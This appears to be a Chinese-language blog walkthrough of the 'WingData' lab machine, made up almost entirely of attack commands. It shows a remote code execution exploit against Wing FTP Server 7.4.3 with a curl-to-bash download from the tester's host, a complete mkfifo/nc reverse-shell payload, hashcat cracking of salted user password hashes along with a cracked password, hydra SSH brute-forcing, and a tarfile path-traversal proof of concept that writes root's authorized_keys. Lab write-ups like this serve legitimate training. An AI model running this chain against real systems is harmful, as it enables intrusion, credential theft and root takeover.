WingData

复制代码
10.129.7.40

nmap扫描

复制代码
sudo nmap --top-ports 10000 10.129.7.40 --min-rate=1000 -oA ips_quick_TCP_nmapscan && sudo nmap --top-ports 10000 10.129.7.40 --min-rate=1000 -sU -oA ips_quick_UDP_nmapscan && nmap -p- 10.129.7.40 -oA ips_full_TCP_nmapscan --min-rate=1000 && sudo nmap -p- 10.129.7.40 -sU -oA ips_full_UDP_nmapscan --min-rate=1000

点击client,发现新的Vhost 。 ftp.wingdata.htb

wing ftp server v7.4.3 发现

https://www.exploit-db.com/exploits/52347

复制代码
python -m http.server 80

python pwn.py -u http://ftp.wingdata.htb/ -c 'curl http://10.10.14.37'

反连

复制代码
python pwn.py -u http://ftp.wingdata.htb/ -c 'curl http://10.10.14.37/pwn|bash'

pwn 文件内容

复制代码
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.37 81 >/tmp/f

我们在/opt/wingsftpserver/data/1/users/中可以发现大量的用户和其密码hash

我们了解到wingftp的密码被保存SHA256,且wingsftp的默认盐是WingFTP

复制代码
hashcat -a 0 -m 1410 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP /home/kali/Desktop/Info/zhuzhuzxia/Passwords/rockyou.txt -r /home/kali/Desktop/TOOL/cred/hashcat/rules/best66.rule
复制代码
!#7Blushing^*Bride5

hydra -L users.txt -P passwords.txt ssh://wingdata.htb -V
复制代码
ssh wacky@wingdata.htb 

阅读/opt/backup_clients/restore_backup_clients.py,发现相关漏洞 https://linuxsecurity.com/news/security-vulnerabilities/python-tarfile-supply-chain-risk

漏洞说明,如果压缩文件包含了.../就会逃脱出解压的目标文件夹,这为我们写入/root/.ssh/authorized_keys打下了基础。我们尝试一下。这篇文章给我们构造文件的办法 https://github.com/1135/notes/blob/master/web_vul_PathTraversal.md

复制代码
python evilarc.py authorized_keys --os=unix --depth=5 --output-file=backup_1001.tar --path=root/.ssh/authorized_keys

我们把文件传输过去,然后解压

复制代码
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1001.tar -r restore_1001
复制代码
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1002.tar -r restore_1001

我们自己搭建的貌似不成功,我们在网上找到了这个poc

https://github.com//thefizzyfish//CVE-2025-4138_tarfile_filter_bypass

复制代码
python3 CVE-2025-4138_tarfile_filter_bypass.py \
    -o backup_1004.tar \
    -t /root/.ssh/authorized_keys \
    -p ~/.ssh/id_ed25519.pub \
    -m 0600

sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1004.tar -r restore_1001
复制代码
ssh -i ~/.ssh/id_ed25519 root@wingdata.htb
相关推荐
漏洞谷1 天前
白帽子为什么几乎都绕不开 httpx:一款 HTTP 资产探测工具的技术价值
web安全·漏洞挖掘·安全工具
用户962377954484 天前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主5 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954487 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机7 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机7 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954487 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star7 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954487 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher9 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全